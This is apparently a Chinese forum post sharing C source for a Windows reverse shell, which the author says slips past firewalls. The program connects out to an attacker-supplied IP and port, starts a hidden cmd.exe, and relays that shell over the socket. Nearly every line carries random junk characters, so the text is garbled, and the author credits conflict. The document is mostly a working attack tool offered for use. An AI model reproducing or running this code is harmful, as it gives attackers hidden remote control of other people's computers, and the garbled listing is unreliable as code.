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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lPyGL-Q  
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/* ============================== jY'svD~  
Rebound port in Windows NT ;Ak<O[  
By wind,2006/7 p`:hY`P  
===============================*/ b,"gBg  
#include {]1o($.u  
#include  ZaJg$  
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#pragma comment(lib,"wsock32.lib") h`n,:Y^++P  
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void OutputShell(); rZ`ob x\S  
SOCKET sClient; 8A/"ia  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *TQXE:vZ[  
umZy=KHj  
void main(int argc,char **argv) 0o~? ]C  
{ KDr?<"2L  
WSADATA stWsaData; nNJU@<|{*  
int nRet; ?g gl8bzA  
SOCKADDR_IN stSaiClient,stSaiServer; GlkTpX^b  
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if(argc != 3) ^=:e9i3u  
{ _u TaN  
printf("Useage:\n\rRebound DestIP DestPort\n"); -t~l!! N(  
return; (os}s8cIh  
} +{U0PI82  
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WSAStartup(MAKEWORD(2,2),&stWsaData); c,nE@~ul2  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5%,5Xe4p  
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stSaiClient.sin_family = AF_INET; 3V ~871:-~  
stSaiClient.sin_port = htons(0); wSoIU,I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o1C1F}gxU  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Cw7 07  
{ B1)gudP`  
printf("Bind Socket Failed!\n"); {3n|=  
return; 4po zTe  
} n{sF'n</  
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stSaiServer.sin_family = AF_INET; ,aOi:aaZRT  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j"6r]nc&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G J"S*30  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &Omo\Oq&W>  
{ V4I5PPz~  
printf("Connect Error!"); 02B *cz_K  
return; D2N| A  
} vN#?>aL  
OutputShell(); 0#1hkJ"  
} 'J\nvNm  
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void OutputShell() |a9d]^  
{ mQEE?/xX;  
char szBuff[1024]; +KV?W+g)`  
SECURITY_ATTRIBUTES stSecurityAttributes; NG3!09eY  
OSVERSIONINFO stOsversionInfo; BUcPMF%\y:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .*\TG/x  
STARTUPINFO stStartupInfo; .Z%y16)T  
char *szShell; 'fpm] *ig  
PROCESS_INFORMATION stProcessInformation; Y'-@O"pK  
unsigned long lBytesRead; OsI>gX>  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {wsO8LX  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Jw13 Wb-  
stSecurityAttributes.lpSecurityDescriptor = 0; [Q"*I2&  
stSecurityAttributes.bInheritHandle = TRUE; %oPW`r  
m?3!  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .*FBr7rE\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8<V6W F`e  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); UuXq+HYR  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P?|F+RoX$  
stStartupInfo.wShowWindow = SW_HIDE; l~ 3H"  
stStartupInfo.hStdInput = hReadPipe; )~W 35  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^`M,ju  
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GetVersionEx(&stOsversionInfo); %f[0&)1!.v  
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switch(stOsversionInfo.dwPlatformId) ]b5E_/P  
{ HURr k~[  
case 1: iCd$gwA>F  
szShell = "command.com"; Pw c)u&  
break; r?cDyQE  
default: K4w %XVaH  
szShell = "cmd.exe"; C8ss6+k&  
break; kyV!ATL1F  
} vh+ ' W  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); } @r|o:I  
nV`n=x  
send(sClient,szMsg,77,0); *xHj*  
while(1) =AaTn::e/  
{ 4pU|BL\j  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :+?eF^ 5  
if(lBytesRead) (]c M ;  
{ ~>2DA$Ec  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )|52B;yZx  
send(sClient,szBuff,lBytesRead,0); GFA D  
} W^U6O&-K  
else NT(gXEZ  
{ r.-U=ql  
lBytesRead=recv(sClient,szBuff,1024,0); UXs=7H".  
if(lBytesRead<=0) break; Sr$&]R]^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @:2<cn`  
} %K9pnq/T^  
} R1,.H92  
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return; R\i8O^[  
}
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